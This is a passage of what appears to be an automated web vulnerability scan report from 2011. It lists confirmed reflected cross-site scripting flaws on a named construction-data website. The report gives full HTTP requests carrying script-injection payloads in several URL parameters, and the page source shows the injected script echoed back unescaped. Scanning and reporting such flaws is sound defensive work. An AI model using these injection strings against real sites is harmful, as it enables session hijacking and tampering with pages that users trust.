var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="'"--></style></script><script>netsparker(0x0001FA)</script>"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpaci..
- /questcdn/
/questcdn/
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
jobPK
|
GET
|
3
|
loginPagePath
|
GET
|
index.html
|
nextPage
|
GET
|
'"--></style></script><script>alert(0x000200)</script>
|
password
|
GET
|
3
|
root_page
|
GET
|
true
|
Request
GET /questcdn/?jobPK=3&loginPagePath=index.html&nextPage='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000200)%3C/script%3E&password=3&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:43 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:43 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29913
Content-Type: text/html;charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = ''><script>netsparker(9)</script>';
var sCurrentSubTab = 'myprojects';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:['><script>netsparker(9)</script>] sCurrentSubTab:[myprojects]');
setCurrentTab(null, ''><script>netsparker(9)</script>');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab=myprojects';
url += '&allMember=true';
location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="'"--></style></script><script>netsparker(0x000200)</script>"/> <input type="hidden" name="jobPK" value="3"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpaci..
- /questcdn/setTab/projects/MyProjects/my_projects.html
/questcdn/setTab/projects/MyProjects/my_projects.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
current_tab
|
GET
|
projects
|
current_sub_tab
|
GET
|
'"--></style></script><script>alert(0x000201)</script>
|
Request
GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects¤t_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29451
Content-Type: text/html;charset=utf-8
<!--$Header: planholder_list.html, 11/24/2009, Eric Nelsen$--><html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content-type" content="text/html;charset=iso-8859-1"/> <title>QuestCDN: My Projects</title> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/verdana.css" media="screen"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/sweetTitlescss/sweetTitles.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.css"/> <link rel="stylesheet" type="text/css" href="/questcdn/dhtmlxGrid/dhtmlxToolbar/codebase/skins/dhtmlxtoolbar_dhx_skyblue.css"/> <link rel="Stylesheet" type="text/css" href="/questcdn/css_scripts/skin_qcdn.css"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/dhtmlxgrid_pro.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/dhtmlxGrid/dhtmlxgrid_pro_full/connector.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/sweetTitlesjs/sweetTitles.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_dhtmlxgrid.js"></script> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/QCDN_XHConn.js"></script><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">
var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = ''"--></style></script><script>netsparker(0x000201)</script>';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';
function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:['"--></style></script><script>netsparker(0x000201)</script>]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}
function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}
function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);
if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}
function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}
function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}
function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}
function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}
function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}
function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}
function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}
function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}
function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}
function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '¤t_sub_tab=' + subtab;
}
return url;
}
function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}
function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}
function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':
url = 'projects/MyProjects/my_projects.html';
break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}
function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
